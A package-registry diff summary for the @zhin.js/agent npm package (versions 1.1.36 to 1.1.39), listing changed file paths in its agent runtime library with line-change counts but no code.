@zhin.js/agent 1.1.36 → 1.1.39

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1287) hide show
  1. package/lib/activity-feedback/adapter-integration.d.ts +0 -1
  2. package/lib/activity-feedback/adapter-integration.js.map +1 -1
  3. package/lib/activity-feedback/config-resolver.d.ts +0 -1
  4. package/lib/activity-feedback/config-resolver.js.map +1 -1
  5. package/lib/activity-feedback/event-context.d.ts +0 -1
  6. package/lib/activity-feedback/event-context.js.map +1 -1
  7. package/lib/activity-feedback/index.d.ts +0 -1
  8. package/lib/activity-feedback/index.js.map +1 -1
  9. package/lib/activity-feedback/manager.d.ts +0 -1
  10. package/lib/activity-feedback/manager.js.map +1 -1
  11. package/lib/activity-feedback/schedule-guard.d.ts +0 -1
  12. package/lib/activity-feedback/schedule-guard.js.map +1 -1
  13. package/lib/activity-feedback/subagent-prefix.d.ts +0 -1
  14. package/lib/activity-feedback/subagent-prefix.js.map +1 -1
  15. package/lib/activity-feedback/turn-event-projector.d.ts +0 -1
  16. package/lib/activity-feedback/turn-event-projector.js.map +1 -1
  17. package/lib/activity-feedback/types.d.ts +0 -1
  18. package/lib/activity-feedback/types.js.map +1 -1
  19. package/lib/ai-event-bus.d.ts +0 -1
  20. package/lib/ai-event-bus.js.map +1 -1
  21. package/lib/ai-event-contract.d.ts +0 -1
  22. package/lib/ai-event-contract.js.map +1 -1
  23. package/lib/ai-event-subscriber.d.ts +0 -1
  24. package/lib/ai-event-subscriber.js.map +1 -1
  25. package/lib/ai-hook-runtime-bus.d.ts +0 -1
  26. package/lib/ai-hook-runtime-bus.js.map +1 -1
  27. package/lib/assistant/bootstrap-assistant-home.d.ts +0 -1
  28. package/lib/assistant/bootstrap-assistant-home.js.map +1 -1
  29. package/lib/assistant/config.d.ts +0 -1
  30. package/lib/assistant/config.js.map +1 -1
  31. package/lib/assistant/deliver-schedule-to-adapter.d.ts +0 -1
  32. package/lib/assistant/deliver-schedule-to-adapter.js.map +1 -1
  33. package/lib/assistant/domains/ha-home-backend.d.ts +0 -1
  34. package/lib/assistant/domains/ha-home-backend.js.map +1 -1
  35. package/lib/assistant/domains/ha-ws-transport.d.ts +0 -1
  36. package/lib/assistant/domains/ha-ws-transport.js.map +1 -1
  37. package/lib/assistant/domains/home-entity.d.ts +0 -1
  38. package/lib/assistant/domains/home-entity.js.map +1 -1
  39. package/lib/assistant/domains/home-state-watch.d.ts +0 -1
  40. package/lib/assistant/domains/home-state-watch.js.map +1 -1
  41. package/lib/assistant/event-ingress.d.ts +0 -1
  42. package/lib/assistant/event-ingress.js.map +1 -1
  43. package/lib/assistant/event-types.d.ts +0 -1
  44. package/lib/assistant/event-types.js.map +1 -1
  45. package/lib/assistant/home-config.d.ts +0 -1
  46. package/lib/assistant/home-config.js.map +1 -1
  47. package/lib/assistant/home-facade.d.ts +0 -1
  48. package/lib/assistant/home-facade.js.map +1 -1
  49. package/lib/assistant/home-mcp-bridge.d.ts +0 -1
  50. package/lib/assistant/home-mcp-bridge.js.map +1 -1
  51. package/lib/assistant/home-policy.d.ts +0 -1
  52. package/lib/assistant/home-policy.js.map +1 -1
  53. package/lib/assistant/home-tools.d.ts +0 -1
  54. package/lib/assistant/home-tools.js.map +1 -1
  55. package/lib/assistant/index.d.ts +0 -1
  56. package/lib/assistant/index.js.map +1 -1
  57. package/lib/assistant/job-creator.d.ts +0 -1
  58. package/lib/assistant/job-creator.js.map +1 -1
  59. package/lib/assistant/job-engine.d.ts +5 -1
  60. package/lib/assistant/job-engine.js +20 -1
  61. package/lib/assistant/job-engine.js.map +1 -1
  62. package/lib/assistant/job-scheduler.d.ts +0 -1
  63. package/lib/assistant/job-scheduler.js.map +1 -1
  64. package/lib/assistant/job-store.d.ts +0 -1
  65. package/lib/assistant/job-store.js.map +1 -1
  66. package/lib/assistant/job-utils.d.ts +0 -1
  67. package/lib/assistant/job-utils.js.map +1 -1
  68. package/lib/assistant/job-worker.d.ts +0 -1
  69. package/lib/assistant/job-worker.js.map +1 -1
  70. package/lib/assistant/notification-router.d.ts +0 -1
  71. package/lib/assistant/notification-router.js.map +1 -1
  72. package/lib/assistant/profile-loader.d.ts +0 -1
  73. package/lib/assistant/profile-loader.js.map +1 -1
  74. package/lib/assistant/profile-types.d.ts +0 -1
  75. package/lib/assistant/profile-types.js.map +1 -1
  76. package/lib/assistant/runtime-contract.d.ts +0 -1
  77. package/lib/assistant/runtime-contract.js.map +1 -1
  78. package/lib/assistant/schedule-execution.d.ts +0 -1
  79. package/lib/assistant/schedule-execution.js.map +1 -1
  80. package/lib/assistant/schedule-job-service.d.ts +0 -1
  81. package/lib/assistant/schedule-job-service.js.map +1 -1
  82. package/lib/assistant/schedule-skills.d.ts +0 -1
  83. package/lib/assistant/schedule-skills.js.map +1 -1
  84. package/lib/assistant/types.d.ts +0 -1
  85. package/lib/assistant/types.js.map +1 -1
  86. package/lib/authoring/bridge.d.ts +0 -1
  87. package/lib/authoring/bridge.js.map +1 -1
  88. package/lib/authoring/define-eval.d.ts +0 -1
  89. package/lib/authoring/define-eval.js.map +1 -1
  90. package/lib/authoring/define-hook.d.ts +0 -1
  91. package/lib/authoring/define-hook.js.map +1 -1
  92. package/lib/authoring/define-skill.d.ts +0 -1
  93. package/lib/authoring/define-skill.js.map +1 -1
  94. package/lib/authoring/disable-tool.d.ts +0 -1
  95. package/lib/authoring/disable-tool.js.map +1 -1
  96. package/lib/authoring/entries/evals.d.ts +0 -1
  97. package/lib/authoring/entries/evals.js.map +1 -1
  98. package/lib/authoring/entries/hooks.d.ts +0 -1
  99. package/lib/authoring/entries/hooks.js.map +1 -1
  100. package/lib/authoring/entries/skills.d.ts +0 -1
  101. package/lib/authoring/entries/skills.js.map +1 -1
  102. package/lib/authoring/index.d.ts +0 -1
  103. package/lib/authoring/index.js.map +1 -1
  104. package/lib/authoring/types.d.ts +0 -1
  105. package/lib/authoring/types.js.map +1 -1
  106. package/lib/bootstrap.d.ts +0 -1
  107. package/lib/bootstrap.js.map +1 -1
  108. package/lib/builtins/builtin-tool-service.d.ts +0 -1
  109. package/lib/builtins/builtin-tool-service.js.map +1 -1
  110. package/lib/common-adapter-tools.d.ts +0 -1
  111. package/lib/common-adapter-tools.js.map +1 -1
  112. package/lib/config/agent-binding-registry.d.ts +0 -1
  113. package/lib/config/agent-binding-registry.js.map +1 -1
  114. package/lib/config/agent-bindings.d.ts +0 -1
  115. package/lib/config/agent-bindings.js.map +1 -1
  116. package/lib/config/agent-interfaces.d.ts +0 -1
  117. package/lib/config/agent-interfaces.js.map +1 -1
  118. package/lib/config/deprecated-agent-binding-keys.d.ts +0 -1
  119. package/lib/config/deprecated-agent-binding-keys.js.map +1 -1
  120. package/lib/config/deprecated-agent-keys.d.ts +0 -1
  121. package/lib/config/deprecated-agent-keys.js.map +1 -1
  122. package/lib/config/fix-ai-config.d.ts +0 -1
  123. package/lib/config/fix-ai-config.js.map +1 -1
  124. package/lib/config/index.d.ts +0 -1
  125. package/lib/config/index.js.map +1 -1
  126. package/lib/config/keyword-triggers.d.ts +0 -1
  127. package/lib/config/keyword-triggers.js.map +1 -1
  128. package/lib/config/model-harness-runtime.d.ts +0 -1
  129. package/lib/config/model-harness-runtime.js.map +1 -1
  130. package/lib/config/model-harness.d.ts +0 -1
  131. package/lib/config/model-harness.js.map +1 -1
  132. package/lib/config/normalize-ai-config.d.ts +0 -1
  133. package/lib/config/normalize-ai-config.js.map +1 -1
  134. package/lib/config/perception-config.d.ts +0 -1
  135. package/lib/config/perception-config.js.map +1 -1
  136. package/lib/config/provider-instance.d.ts +0 -1
  137. package/lib/config/provider-instance.js.map +1 -1
  138. package/lib/config/resolve-five-agent-binding.d.ts +0 -1
  139. package/lib/config/resolve-five-agent-binding.js.map +1 -1
  140. package/lib/config/types.d.ts +0 -1
  141. package/lib/config/types.js.map +1 -1
  142. package/lib/config/validate-ai-config.d.ts +0 -1
  143. package/lib/config/validate-ai-config.js.map +1 -1
  144. package/lib/config/zhin-agent-config.d.ts +0 -1
  145. package/lib/config/zhin-agent-config.js.map +1 -1
  146. package/lib/config/zhin-agent-constants.d.ts +0 -1
  147. package/lib/config/zhin-agent-constants.js.map +1 -1
  148. package/lib/config/zhin-agent-defaults.d.ts +0 -1
  149. package/lib/config/zhin-agent-defaults.js +1 -1
  150. package/lib/config/zhin-agent-defaults.js.map +1 -1
  151. package/lib/config/zhin-agent-dependencies.d.ts +0 -1
  152. package/lib/config/zhin-agent-dependencies.js.map +1 -1
  153. package/lib/config/zhin-agent-runtime.d.ts +0 -1
  154. package/lib/config/zhin-agent-runtime.js.map +1 -1
  155. package/lib/context/agents-instruction.d.ts +0 -1
  156. package/lib/context/agents-instruction.js.map +1 -1
  157. package/lib/context/context-system.d.ts +0 -1
  158. package/lib/context/context-system.js.map +1 -1
  159. package/lib/context/context-tail-limit.d.ts +0 -1
  160. package/lib/context/context-tail-limit.js.map +1 -1
  161. package/lib/context/contracts.d.ts +0 -1
  162. package/lib/context/contracts.js.map +1 -1
  163. package/lib/context/default-builders.d.ts +0 -1
  164. package/lib/context/default-builders.js.map +1 -1
  165. package/lib/context/envelope-parts.d.ts +0 -1
  166. package/lib/context/envelope-parts.js.map +1 -1
  167. package/lib/context/im-turn-context-adapter.d.ts +0 -1
  168. package/lib/context/im-turn-context-adapter.js.map +1 -1
  169. package/lib/context/index.d.ts +1 -2
  170. package/lib/context/index.js +1 -1
  171. package/lib/context/index.js.map +1 -1
  172. package/lib/context/model-resolver.d.ts +0 -1
  173. package/lib/context/model-resolver.js.map +1 -1
  174. package/lib/context/turn-envelope.d.ts +3 -2
  175. package/lib/context/turn-envelope.js +6 -0
  176. package/lib/context/turn-envelope.js.map +1 -1
  177. package/lib/context/turn-user-message.d.ts +0 -1
  178. package/lib/context/turn-user-message.js.map +1 -1
  179. package/lib/core/agent-core-run.d.ts +3 -1
  180. package/lib/core/agent-core-run.js +40 -36
  181. package/lib/core/agent-core-run.js.map +1 -1
  182. package/lib/core/agent-core.d.ts +0 -1
  183. package/lib/core/agent-core.js.map +1 -1
  184. package/lib/core/agent-loop-standalone.d.ts +0 -1
  185. package/lib/core/agent-loop-standalone.js.map +1 -1
  186. package/lib/core/agent-loop-turn.d.ts +0 -1
  187. package/lib/core/agent-loop-turn.js.map +1 -1
  188. package/lib/core/agent-run-shared.d.ts +0 -1
  189. package/lib/core/agent-run-shared.js.map +1 -1
  190. package/lib/core/compose-deps.d.ts +0 -1
  191. package/lib/core/compose-deps.js.map +1 -1
  192. package/lib/core/contracts.d.ts +0 -1
  193. package/lib/core/contracts.js.map +1 -1
  194. package/lib/core/exhausted-turn-reply.d.ts +0 -1
  195. package/lib/core/exhausted-turn-reply.js.map +1 -1
  196. package/lib/core/exploration-budget.d.ts +0 -1
  197. package/lib/core/exploration-budget.js.map +1 -1
  198. package/lib/core/index.d.ts +0 -1
  199. package/lib/core/index.js.map +1 -1
  200. package/lib/core/missing-tool-resolver.d.ts +0 -1
  201. package/lib/core/missing-tool-resolver.js.map +1 -1
  202. package/lib/core/progress-reporter.d.ts +0 -1
  203. package/lib/core/progress-reporter.js.map +1 -1
  204. package/lib/core/spawn-delegation.d.ts +0 -1
  205. package/lib/core/spawn-delegation.js.map +1 -1
  206. package/lib/core/structured-reply-recovery.d.ts +18 -3
  207. package/lib/core/structured-reply-recovery.js +28 -7
  208. package/lib/core/structured-reply-recovery.js.map +1 -1
  209. package/lib/core/text-sanitize.d.ts +0 -1
  210. package/lib/core/text-sanitize.js.map +1 -1
  211. package/lib/core/tool-calls-user-format.d.ts +0 -1
  212. package/lib/core/tool-calls-user-format.js.map +1 -1
  213. package/lib/core/tool-execution-authority.d.ts +0 -1
  214. package/lib/core/tool-execution-authority.js.map +1 -1
  215. package/lib/core/turn-completion-usage.d.ts +0 -1
  216. package/lib/core/turn-completion-usage.js.map +1 -1
  217. package/lib/core/turn-event-mapper.d.ts +0 -1
  218. package/lib/core/turn-event-mapper.js.map +1 -1
  219. package/lib/core/turn-progress.d.ts +0 -1
  220. package/lib/core/turn-progress.js.map +1 -1
  221. package/lib/create-agent-session.d.ts +0 -1
  222. package/lib/create-agent-session.js.map +1 -1
  223. package/lib/decision/approval-judgment.d.ts +0 -1
  224. package/lib/decision/approval-judgment.js.map +1 -1
  225. package/lib/decision/approval.d.ts +0 -1
  226. package/lib/decision/approval.js.map +1 -1
  227. package/lib/decision/config.d.ts +0 -1
  228. package/lib/decision/config.js.map +1 -1
  229. package/lib/decision/index.d.ts +0 -1
  230. package/lib/decision/index.js.map +1 -1
  231. package/lib/decision/rank.d.ts +0 -1
  232. package/lib/decision/rank.js.map +1 -1
  233. package/lib/decision/retrieval.d.ts +0 -1
  234. package/lib/decision/retrieval.js.map +1 -1
  235. package/lib/decision/types.d.ts +0 -1
  236. package/lib/decision/types.js.map +1 -1
  237. package/lib/deferred-worker-runner.d.ts +0 -1
  238. package/lib/deferred-worker-runner.js.map +1 -1
  239. package/lib/deferred-worker-tool-load.d.ts +0 -1
  240. package/lib/deferred-worker-tool-load.js.map +1 -1
  241. package/lib/detached-task/index.d.ts +0 -1
  242. package/lib/detached-task/index.js.map +1 -1
  243. package/lib/detached-task/interjection.d.ts +0 -1
  244. package/lib/detached-task/interjection.js.map +1 -1
  245. package/lib/detached-task/runner.d.ts +0 -1
  246. package/lib/detached-task/runner.js.map +1 -1
  247. package/lib/detached-task/store.d.ts +0 -1
  248. package/lib/detached-task/store.js.map +1 -1
  249. package/lib/detached-task/token.d.ts +0 -1
  250. package/lib/detached-task/token.js.map +1 -1
  251. package/lib/detached-task/types.d.ts +0 -1
  252. package/lib/detached-task/types.js.map +1 -1
  253. package/lib/discovery/agent-surface-info.d.ts +0 -1
  254. package/lib/discovery/agent-surface-info.js.map +1 -1
  255. package/lib/discovery/agent-surface.d.ts +0 -1
  256. package/lib/discovery/agent-surface.js.map +1 -1
  257. package/lib/discovery/agents.d.ts +0 -1
  258. package/lib/discovery/agents.js.map +1 -1
  259. package/lib/discovery/utils.d.ts +0 -1
  260. package/lib/discovery/utils.js.map +1 -1
  261. package/lib/event/agent-stream-bus.d.ts +0 -1
  262. package/lib/event/agent-stream-bus.js.map +1 -1
  263. package/lib/event/agent-stream-hooks.d.ts +0 -1
  264. package/lib/event/agent-stream-hooks.js.map +1 -1
  265. package/lib/event/ai-event-bus.d.ts +0 -1
  266. package/lib/event/ai-event-bus.js.map +1 -1
  267. package/lib/event/contracts.d.ts +0 -1
  268. package/lib/event/contracts.js.map +1 -1
  269. package/lib/event/event-emitter.d.ts +0 -1
  270. package/lib/event/event-emitter.js.map +1 -1
  271. package/lib/event/event-system.d.ts +0 -1
  272. package/lib/event/event-system.js.map +1 -1
  273. package/lib/event/filtering-middleware.d.ts +0 -1
  274. package/lib/event/filtering-middleware.js.map +1 -1
  275. package/lib/event/hook-stream-sink.d.ts +0 -1
  276. package/lib/event/hook-stream-sink.js.map +1 -1
  277. package/lib/event/index.d.ts +0 -1
  278. package/lib/event/index.js.map +1 -1
  279. package/lib/event/logging-middleware.d.ts +0 -1
  280. package/lib/event/logging-middleware.js.map +1 -1
  281. package/lib/event/publish-agent-stream.d.ts +0 -1
  282. package/lib/event/publish-agent-stream.js.map +1 -1
  283. package/lib/event/session-events.d.ts +0 -1
  284. package/lib/event/session-events.js.map +1 -1
  285. package/lib/event/turn-event.d.ts +0 -1
  286. package/lib/event/turn-event.js.map +1 -1
  287. package/lib/event/turn-to-agent-stream.d.ts +0 -1
  288. package/lib/event/turn-to-agent-stream.js.map +1 -1
  289. package/lib/index.d.ts +4 -5
  290. package/lib/index.js +2 -2
  291. package/lib/index.js.map +1 -1
  292. package/lib/init/activate-ai-database-storage.d.ts +0 -1
  293. package/lib/init/activate-ai-database-storage.js.map +1 -1
  294. package/lib/init/compose-zhin-agent-runtime.d.ts +0 -1
  295. package/lib/init/compose-zhin-agent-runtime.js.map +1 -1
  296. package/lib/init/configure-zhin-agent.d.ts +0 -1
  297. package/lib/init/configure-zhin-agent.js.map +1 -1
  298. package/lib/init/define-ai-database-models.d.ts +0 -1
  299. package/lib/init/define-ai-database-models.js.map +1 -1
  300. package/lib/init/dispose-zhin-agent.d.ts +0 -1
  301. package/lib/init/dispose-zhin-agent.js.map +1 -1
  302. package/lib/init/introspection-output.d.ts +0 -1
  303. package/lib/init/introspection-output.js.map +1 -1
  304. package/lib/init/runtime-management-commands.d.ts +0 -1
  305. package/lib/init/runtime-management-commands.js.map +1 -1
  306. package/lib/interaction/index.d.ts +0 -1
  307. package/lib/interaction/index.js.map +1 -1
  308. package/lib/interaction/interaction-router.d.ts +0 -1
  309. package/lib/interaction/interaction-router.js.map +1 -1
  310. package/lib/internal/agent-host.d.ts +0 -1
  311. package/lib/internal/agent-host.js.map +1 -1
  312. package/lib/internal/ai-service-refs.d.ts +0 -1
  313. package/lib/internal/ai-service-refs.js.map +1 -1
  314. package/lib/internal/as-private.d.ts +0 -1
  315. package/lib/internal/as-private.js.map +1 -1
  316. package/lib/internal/host-types.d.ts +0 -1
  317. package/lib/internal/host-types.js.map +1 -1
  318. package/lib/internal/phase-trace.d.ts +0 -1
  319. package/lib/internal/phase-trace.js.map +1 -1
  320. package/lib/internal/prompt-trace.d.ts +0 -1
  321. package/lib/internal/prompt-trace.js.map +1 -1
  322. package/lib/internal/turn-context.d.ts +0 -1
  323. package/lib/internal/turn-context.js.map +1 -1
  324. package/lib/journal/file-journal-store.d.ts +0 -1
  325. package/lib/journal/file-journal-store.js.map +1 -1
  326. package/lib/journal/index.d.ts +0 -1
  327. package/lib/journal/index.js.map +1 -1
  328. package/lib/journal/persistent-turn-journal.d.ts +0 -1
  329. package/lib/journal/persistent-turn-journal.js.map +1 -1
  330. package/lib/mcp-client/bridge.d.ts +0 -1
  331. package/lib/mcp-client/bridge.js.map +1 -1
  332. package/lib/mcp-client/connection.d.ts +0 -1
  333. package/lib/mcp-client/connection.js.map +1 -1
  334. package/lib/mcp-client/index.d.ts +0 -1
  335. package/lib/mcp-client/index.js.map +1 -1
  336. package/lib/media/deliver-subagent-result.d.ts +0 -1
  337. package/lib/media/deliver-subagent-result.js +4 -1
  338. package/lib/media/deliver-subagent-result.js.map +1 -1
  339. package/lib/media/inbound-refs.d.ts +0 -1
  340. package/lib/media/inbound-refs.js.map +1 -1
  341. package/lib/media/index.d.ts +0 -1
  342. package/lib/media/index.js.map +1 -1
  343. package/lib/media/media-capabilities.d.ts +0 -1
  344. package/lib/media/media-capabilities.js.map +1 -1
  345. package/lib/media/media-normalize.d.ts +31 -3
  346. package/lib/media/media-normalize.js +38 -5
  347. package/lib/media/media-normalize.js.map +1 -1
  348. package/lib/media/media-publisher.d.ts +4 -2
  349. package/lib/media/media-publisher.js +50 -31
  350. package/lib/media/media-publisher.js.map +1 -1
  351. package/lib/media/media-router.d.ts +0 -1
  352. package/lib/media/media-router.js.map +1 -1
  353. package/lib/media/media-spool.d.ts +0 -1
  354. package/lib/media/media-spool.js.map +1 -1
  355. package/lib/media/media-tool-bridge.d.ts +0 -1
  356. package/lib/media/media-tool-bridge.js.map +1 -1
  357. package/lib/media/media-types.d.ts +0 -1
  358. package/lib/media/media-types.js.map +1 -1
  359. package/lib/media/perception.d.ts +8 -2
  360. package/lib/media/perception.js +55 -5
  361. package/lib/media/perception.js.map +1 -1
  362. package/lib/media/resolve-config.d.ts +0 -1
  363. package/lib/media/resolve-config.js.map +1 -1
  364. package/lib/media/subagent-inbound.d.ts +0 -1
  365. package/lib/media/subagent-inbound.js.map +1 -1
  366. package/lib/media/subagent-user-delivery.d.ts +0 -1
  367. package/lib/media/subagent-user-delivery.js.map +1 -1
  368. package/lib/media/vision-capability.d.ts +0 -1
  369. package/lib/media/vision-capability.js.map +1 -1
  370. package/lib/memory/ai-compaction-strategy.d.ts +0 -1
  371. package/lib/memory/ai-compaction-strategy.js.map +1 -1
  372. package/lib/memory/compaction-runtime.d.ts +0 -1
  373. package/lib/memory/compaction-runtime.js.map +1 -1
  374. package/lib/memory/context-repository-store.d.ts +0 -1
  375. package/lib/memory/context-repository-store.js.map +1 -1
  376. package/lib/memory/contracts.d.ts +0 -1
  377. package/lib/memory/contracts.js.map +1 -1
  378. package/lib/memory/index.d.ts +0 -1
  379. package/lib/memory/index.js.map +1 -1
  380. package/lib/memory/memory-system.d.ts +0 -1
  381. package/lib/memory/memory-system.js.map +1 -1
  382. package/lib/memory/memory-write-policy.d.ts +0 -1
  383. package/lib/memory/memory-write-policy.js.map +1 -1
  384. package/lib/memory/semantic-recall.d.ts +0 -1
  385. package/lib/memory/semantic-recall.js.map +1 -1
  386. package/lib/memory/told-ledger.d.ts +0 -1
  387. package/lib/memory/told-ledger.js.map +1 -1
  388. package/lib/memory-layers.d.ts +0 -1
  389. package/lib/memory-layers.js.map +1 -1
  390. package/lib/orchestration/five-agent/index.d.ts +0 -1
  391. package/lib/orchestration/five-agent/index.js.map +1 -1
  392. package/lib/orchestration/five-agent/prompts.d.ts +0 -1
  393. package/lib/orchestration/five-agent/prompts.js.map +1 -1
  394. package/lib/orchestration/five-agent/role-capability-policy.d.ts +0 -1
  395. package/lib/orchestration/five-agent/role-capability-policy.js.map +1 -1
  396. package/lib/orchestration/five-agent/roles.d.ts +0 -1
  397. package/lib/orchestration/five-agent/roles.js.map +1 -1
  398. package/lib/outbound/agent-output.d.ts +5 -1
  399. package/lib/outbound/agent-output.js +14 -0
  400. package/lib/outbound/agent-output.js.map +1 -1
  401. package/lib/outbound/send-proactive.d.ts +0 -1
  402. package/lib/outbound/send-proactive.js.map +1 -1
  403. package/lib/outbound/structured-reply.d.ts +6 -2
  404. package/lib/outbound/structured-reply.js +85 -14
  405. package/lib/outbound/structured-reply.js.map +1 -1
  406. package/lib/plugin-ai-hook-bus.d.ts +0 -1
  407. package/lib/plugin-ai-hook-bus.js.map +1 -1
  408. package/lib/plugin-loop-hooks.d.ts +0 -1
  409. package/lib/plugin-loop-hooks.js.map +1 -1
  410. package/lib/plugin-runtime/agent-event-bus.d.ts +0 -1
  411. package/lib/plugin-runtime/agent-event-bus.js.map +1 -1
  412. package/lib/plugin-runtime/agent-host-port.d.ts +0 -1
  413. package/lib/plugin-runtime/agent-host-port.js.map +1 -1
  414. package/lib/plugin-runtime/agent-runtime.d.ts +0 -1
  415. package/lib/plugin-runtime/agent-runtime.js.map +1 -1
  416. package/lib/plugin-runtime/agent-trace-runtime.d.ts +0 -1
  417. package/lib/plugin-runtime/agent-trace-runtime.js.map +1 -1
  418. package/lib/plugin-runtime/ai-completion.d.ts +11 -43
  419. package/lib/plugin-runtime/ai-completion.js +28 -10
  420. package/lib/plugin-runtime/ai-completion.js.map +1 -1
  421. package/lib/plugin-runtime/capability-ingress.d.ts +0 -1
  422. package/lib/plugin-runtime/capability-ingress.js.map +1 -1
  423. package/lib/plugin-runtime/capability-tools.d.ts +0 -1
  424. package/lib/plugin-runtime/capability-tools.js.map +1 -1
  425. package/lib/plugin-runtime/decision-runtime.d.ts +0 -1
  426. package/lib/plugin-runtime/decision-runtime.js.map +1 -1
  427. package/lib/plugin-runtime/deferred-capability-plan.d.ts +20 -1
  428. package/lib/plugin-runtime/deferred-capability-plan.js +40 -0
  429. package/lib/plugin-runtime/deferred-capability-plan.js.map +1 -1
  430. package/lib/plugin-runtime/file-edit-quote-utils.d.ts +0 -1
  431. package/lib/plugin-runtime/file-edit-quote-utils.js.map +1 -1
  432. package/lib/plugin-runtime/file-search-scope.d.ts +0 -1
  433. package/lib/plugin-runtime/file-search-scope.js.map +1 -1
  434. package/lib/plugin-runtime/full-agent-turn-engine.d.ts +0 -1
  435. package/lib/plugin-runtime/full-agent-turn-engine.js +13 -3
  436. package/lib/plugin-runtime/full-agent-turn-engine.js.map +1 -1
  437. package/lib/plugin-runtime/host-mcp-projection.d.ts +0 -1
  438. package/lib/plugin-runtime/host-mcp-projection.js.map +1 -1
  439. package/lib/plugin-runtime/host-tool-projection.d.ts +0 -1
  440. package/lib/plugin-runtime/host-tool-projection.js.map +1 -1
  441. package/lib/plugin-runtime/index.d.ts +0 -1
  442. package/lib/plugin-runtime/index.js.map +1 -1
  443. package/lib/plugin-runtime/native-bash-tool.d.ts +0 -1
  444. package/lib/plugin-runtime/native-bash-tool.js.map +1 -1
  445. package/lib/plugin-runtime/native-file-tools.d.ts +0 -1
  446. package/lib/plugin-runtime/native-file-tools.js.map +1 -1
  447. package/lib/plugin-runtime/native-image-tool.d.ts +0 -1
  448. package/lib/plugin-runtime/native-image-tool.js.map +1 -1
  449. package/lib/plugin-runtime/native-interaction-tools.d.ts +0 -1
  450. package/lib/plugin-runtime/native-interaction-tools.js.map +1 -1
  451. package/lib/plugin-runtime/native-knowledge-tool.d.ts +0 -1
  452. package/lib/plugin-runtime/native-knowledge-tool.js.map +1 -1
  453. package/lib/plugin-runtime/native-semantic-memory-tools.d.ts +0 -1
  454. package/lib/plugin-runtime/native-semantic-memory-tools.js.map +1 -1
  455. package/lib/plugin-runtime/native-todo-tools.d.ts +0 -1
  456. package/lib/plugin-runtime/native-todo-tools.js.map +1 -1
  457. package/lib/plugin-runtime/native-tool-suite.d.ts +0 -1
  458. package/lib/plugin-runtime/native-tool-suite.js.map +1 -1
  459. package/lib/plugin-runtime/native-web-tools.d.ts +0 -1
  460. package/lib/plugin-runtime/native-web-tools.js.map +1 -1
  461. package/lib/plugin-runtime/schedule-capability-plan.d.ts +0 -1
  462. package/lib/plugin-runtime/schedule-capability-plan.js.map +1 -1
  463. package/lib/plugin-runtime/subagent-turn-capability.d.ts +0 -1
  464. package/lib/plugin-runtime/subagent-turn-capability.js.map +1 -1
  465. package/lib/plugin-runtime/turn-intent-resolver.d.ts +0 -1
  466. package/lib/plugin-runtime/turn-intent-resolver.js.map +1 -1
  467. package/lib/prompt/assembly.d.ts +0 -1
  468. package/lib/prompt/assembly.js +2 -2
  469. package/lib/prompt/assembly.js.map +1 -1
  470. package/lib/prompt/estimate-tokens.d.ts +0 -1
  471. package/lib/prompt/estimate-tokens.js.map +1 -1
  472. package/lib/prompt/git-context.d.ts +0 -1
  473. package/lib/prompt/git-context.js.map +1 -1
  474. package/lib/prompt/index.d.ts +0 -1
  475. package/lib/prompt/index.js.map +1 -1
  476. package/lib/prompt/model-aware-builder.d.ts +0 -1
  477. package/lib/prompt/model-aware-builder.js.map +1 -1
  478. package/lib/prompt/model-prompt-strategy.d.ts +0 -1
  479. package/lib/prompt/model-prompt-strategy.js.map +1 -1
  480. package/lib/prompt/prompt-assembly-registry.d.ts +0 -1
  481. package/lib/prompt/prompt-assembly-registry.js.map +1 -1
  482. package/lib/prompt/prompt-budget.d.ts +0 -1
  483. package/lib/prompt/prompt-budget.js.map +1 -1
  484. package/lib/prompt/prompt-builder.d.ts +0 -1
  485. package/lib/prompt/prompt-builder.js.map +1 -1
  486. package/lib/prompt/rules/chat-rules.d.ts +6 -0
  487. package/lib/prompt/rules/chat-rules.js +20 -0
  488. package/lib/prompt/rules/chat-rules.js.map +1 -0
  489. package/lib/prompt/rules/code-references.d.ts +0 -1
  490. package/lib/prompt/rules/code-references.js.map +1 -1
  491. package/lib/prompt/rules/critical-rules.d.ts +0 -1
  492. package/lib/prompt/rules/critical-rules.js +2 -2
  493. package/lib/prompt/rules/critical-rules.js.map +1 -1
  494. package/lib/prompt/rules/editing.d.ts +0 -1
  495. package/lib/prompt/rules/editing.js.map +1 -1
  496. package/lib/prompt/rules/error-handling.d.ts +0 -1
  497. package/lib/prompt/rules/error-handling.js.map +1 -1
  498. package/lib/prompt/rules/index.d.ts +1 -1
  499. package/lib/prompt/rules/index.js +1 -0
  500. package/lib/prompt/rules/index.js.map +1 -1
  501. package/lib/prompt/rules/memory.d.ts +0 -1
  502. package/lib/prompt/rules/memory.js.map +1 -1
  503. package/lib/prompt/rules/task-completion.d.ts +0 -1
  504. package/lib/prompt/rules/task-completion.js.map +1 -1
  505. package/lib/prompt/rules/workflow-rules.d.ts +0 -1
  506. package/lib/prompt/rules/workflow-rules.js.map +1 -1
  507. package/lib/prompt/system-prompt.d.ts +7 -1
  508. package/lib/prompt/system-prompt.js +31 -12
  509. package/lib/prompt/system-prompt.js.map +1 -1
  510. package/lib/prompt/templates.d.ts +0 -1
  511. package/lib/prompt/templates.js.map +1 -1
  512. package/lib/prompt/tokens.d.ts +0 -1
  513. package/lib/prompt/tokens.js.map +1 -1
  514. package/lib/prompt/turn-prompt-profile.d.ts +0 -1
  515. package/lib/prompt/turn-prompt-profile.js.map +1 -1
  516. package/lib/prompt/workspace-prompt.d.ts +0 -1
  517. package/lib/prompt/workspace-prompt.js.map +1 -1
  518. package/lib/reserved-tools.d.ts +0 -1
  519. package/lib/reserved-tools.js.map +1 -1
  520. package/lib/resource-hub/hook-registry.d.ts +0 -1
  521. package/lib/resource-hub/hook-registry.js.map +1 -1
  522. package/lib/resource-hub/index.d.ts +0 -1
  523. package/lib/resource-hub/index.js.map +1 -1
  524. package/lib/resource-hub/mcp-lifecycle.d.ts +0 -1
  525. package/lib/resource-hub/mcp-lifecycle.js.map +1 -1
  526. package/lib/resource-hub/mcp-registry.d.ts +0 -1
  527. package/lib/resource-hub/mcp-registry.js.map +1 -1
  528. package/lib/resource-hub/public-api.d.ts +0 -1
  529. package/lib/resource-hub/public-api.js.map +1 -1
  530. package/lib/resource-hub/resolve-subagent-tools.d.ts +0 -1
  531. package/lib/resource-hub/resolve-subagent-tools.js.map +1 -1
  532. package/lib/resource-hub/resource-registry.d.ts +0 -1
  533. package/lib/resource-hub/resource-registry.js.map +1 -1
  534. package/lib/resource-hub/role-configs.d.ts +0 -1
